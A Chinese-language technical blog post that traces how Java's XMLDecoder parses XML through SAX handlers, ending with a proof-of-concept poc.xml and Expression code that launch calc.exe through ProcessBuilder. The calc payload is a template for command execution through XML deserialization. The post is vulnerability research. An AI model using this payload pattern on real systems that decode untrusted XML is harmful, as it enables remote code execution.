警告
本文最后更新于 2022-08-14,文中内容可能已过时。
通过跟踪xmlDecoder发现核心是用SAX来解析xml的,所以会在开始分析xmlDecoder前补充一下sax解析xml的基础知识
SAXParserFactory Sax解析xml的工厂类,在程序中调用工厂类获取真正实现类SAXParserImpl
DefaultHandler 解析xml时用到的处理类,可继承该类实现自定义处理解析的xml内容
SaxXml.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class SaxXml {
public static void main(String[] args) throws ParserConfigurationException, SAXException, IOException {
File file = new File("D:\\chromedownload\\yaml-payload-for-ruoyi-main\\XmlDecoderSer\\book.xml");
FileInputStream fileInputStream = new FileInputStream(file);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
MyHandler myHandler = new MyHandler();//自定义的解析方法
DefaultHandler defaultHandler = new DefaultHandler();//默认的解析方法
saxParser.parse(fileInputStream,defaultHandler);
}
}
|
下面这段代码就是通过工厂类获取SAXParserImpl
1
2
|
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
|
继续向下看可以发现,我实例了两个Handler解析对象,一个是自定义的解析类(MyHandler),另一个是默认的解析类(DefaultHandler)
1
2
|
MyHandler myHandler = new MyHandler();//自定义的解析方法
DefaultHandler defaultHandler = new DefaultHandler();//默认的解析方法
|
其中MyHandler类内容如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
import org.xml.sax.*;
import org.xml.sax.helpers.DefaultHandler;
import java.io.IOException;
class MyHandler extends DefaultHandler {
public MyHandler() {
super();
}
@Override
public InputSource resolveEntity(String publicId, String systemId) throws IOException, SAXException {
return super.resolveEntity(publicId, systemId);
}
@Override
public void notationDecl(String name, String publicId, String systemId) throws SAXException {
super.notationDecl(name, publicId, systemId);
}
@Override
public void unparsedEntityDecl(String name, String publicId, String systemId, String notationName) throws SAXException {
super.unparsedEntityDecl(name, publicId, systemId, notationName);
}
@Override
public void setDocumentLocator(Locator locator) {
super.setDocumentLocator(locator);
}
@Override
public void startDocument() throws SAXException {
super.startDocument();
}
@Override
public void endDocument() throws SAXException {
super.endDocument();
}
@Override
public void startPrefixMapping(String prefix, String uri) throws SAXException {
super.startPrefixMapping(prefix, uri);
}
@Override
public void endPrefixMapping(String prefix) throws SAXException {
super.endPrefixMapping(prefix);
}
@Override
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
super.startElement(uri, localName, qName, attributes);
}
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
super.endElement(uri, localName, qName);
}
@Override
public void characters(char[] ch, int start, int length) throws SAXException {
super.characters(ch, start, length);
}
@Override
public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException {
super.ignorableWhitespace(ch, start, length);
}
@Override
public void processingInstruction(String target, String data) throws SAXException {
super.processingInstruction(target, data);
}
@Override
public void skippedEntity(String name) throws SAXException {
super.skippedEntity(name);
}
@Override
public void warning(SAXParseException e) throws SAXException {
super.warning(e);
}
@Override
public void error(SAXParseException e) throws SAXException {
super.error(e);
}
@Override
public void fatalError(SAXParseException e) throws SAXException {
super.fatalError(e);
}
}
|
可以发现,内容都是基于继承DefaultHandler可自动生成的父类函数
接下来继续分析SAXParserImpl是如何调用Handler来解析xml的,或者说分析Handler在解析过程中起到了什么作用
首先我们看官方文档如何解释这些api
从图中可以简单看出比较重要的解析api为如下五个
startDocument
endDocument
startElement
endElement
characters
其中startElement endElement 接口可获取xml节点属性
可以看到通过(start/end)Element可以获取到xml标签相关属性,并通过代码输出证明
通过characters接口可获取xml节点内容
因为在解析xml开始前会先调用 startDocument 说明开始状态,所以在这下断点查看在开始解析xml前的构造链
主程序一开始时将自定义解析类传入
最后由com/sun/org/apache/xerces/internal/parsers/AbstractSAXParser.java 调用
至此进入我们下断点的自定义Handler的startDocument
查看startElement方法也是如此,下断点后跟踪到 com/sun/org/apache/xerces/internal/parsers/XML11Configuration.java 发现存在调用
解析过程比开头复杂得多,会先进入com/sun/org/apache/xerces/internal/impl/XMLDocumentFragmentScannerImpl.java 的 scanDocument 方法判断当前标签的属性和需要传入的解析方法
Main.java
1
2
3
4
|
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Person.xml")));
Object result = d.readObject();
d.close();
System.out.println(result);
|
Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
public class Person {
private String name;
private String age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age='" + age + '\'' +
'}';
}
}
|
Person.xml
1
2
3
4
5
6
7
8
9
10
11
|
<?xml version="1.0" encoding="utf-8" ?>
<java class="java.beans.XMLDecoder">
<object class="Person">
<void property="name">
<string>this name</string>
</void>
<void property="age">
<string>this age</string>
</void>
</object>
</java>
|
对Person实体类分别添加带/无参构造函数
1
2
3
4
5
6
|
public Person(String test){
System.out.println("get param: "+test);
}
public Person(){
System.out.println("This Person() function");
}
|
当Person.xml文件内容如下时
1
2
3
4
5
6
|
<?xml version="1.0" encoding="utf-8" ?>
<java class="java.beans.XMLDecoder">
<object class="Person">
</object>
</java>
|
会触发无参构造函数
当Person.xml添加string节点,给有参构造函数赋值
1
2
3
4
5
6
|
<?xml version="1.0" encoding="utf-8" ?>
<java class="java.beans.XMLDecoder">
<object class="Person">
<string>this pararm</string>
</object>
</java>
|
成功触发构造函数并输出参数内容
能传入的参数有很多,具体能传入的节点都在DocumentHandler中声明
在Person类中新增了一个testMethod方法来测试使用xmlDecoder触发
Person.xml内容如下
1
2
3
4
5
6
|
<java class="java.beans.XMLDecoder">
<object class="Person">
<string>this pararm</string>
<void method="testMethod"/>
</object>
</java>
|
也可以通过上面的方式对目标方法进行传参
到这里就简单说明了该组件的核心组成(Sax及相关Handler)和正常使用,至于XmlDecoder如何通过解析xml来生成目标对象和如何执行命令在后面会进行分析
poc.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/c calc</string>
</void>
</array>
<void method="start"/></void>
</java>
|
Main.java
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class Main {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("poc.xml")));
Object result = d.readObject();
d.close();
}
}
|
因为前面简单跟踪过 XMLDecoder 使用的sax来解析xml的,所以现在要找一下解析这个恶意xml触发命令执行的handler
在com/sun/org/apache/xerces/internal/jaxp/SAXParserImpl.java parse方法下断点,查看传入的自定义handler类
跟进DocumentHandler发现构造方法中存在定义了多个解析标签的自定义方法
因前面分析过Sax解析xml的时候会通过重写startElement和endElement方法来自定义处理xml文件的一些标签及相关属性
结合Documenthandler中的startElement endElement characters方法可以简单看出程序对xml顺序解析的过程中,每个节点都会保存上级节点的所有属性,通过characters方法获取每个当前节点内容后,进入endElement方法会将获取到的节点内容及参数赋值给上级节点
拿解析Person.xml为例,我们在Person类的构造方法及DocumentElement中的三个重要方法下断点
当节点存在class属性时,会通过object相关的Element解析类将目标class赋给当前节点的type属性,图中为NewElementHandler因为是ObjectElementHandler父类,自动向上调用获取的
当然,这里到底进入哪个处理类都会根据当前传入的标签和属性来决定,调试时可自己跟跟看
会判断当前节点获取的内容是否为上级节点提供参数,为true的话会将当前节点获取到的信息赋值给上一节点
当返回根节点(存在class属性)时,会进入ObjectElementHandler调用Expression反射获取目标对象
并通过getvalue触发。
到这里基本分析完成整个解析xml的过程,但离执行命令还差一点,因为要利用ProcessBuilder执行命令还需要调用其中的start方法触发,前面的代码中也提到过当标签内存在method属性时会调用目标类的目标方法
其实在刚才分析调试的过程中,也有看到解析method的相关代码
所以到这里分析也基本结束,使用Expression来执行命令的直观代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import java.beans.Expression;
public class ExpTest {
public static void main(String[] args) throws Exception {
String[] strings = new String[]{"cmd.exe","/c","calc"};
Object object = new ProcessBuilder(strings);
String method = "start";
Object[] objects = new Object[]{};
Expression var5 = new Expression(object, method, objects);
var5.getValue();
}
}
|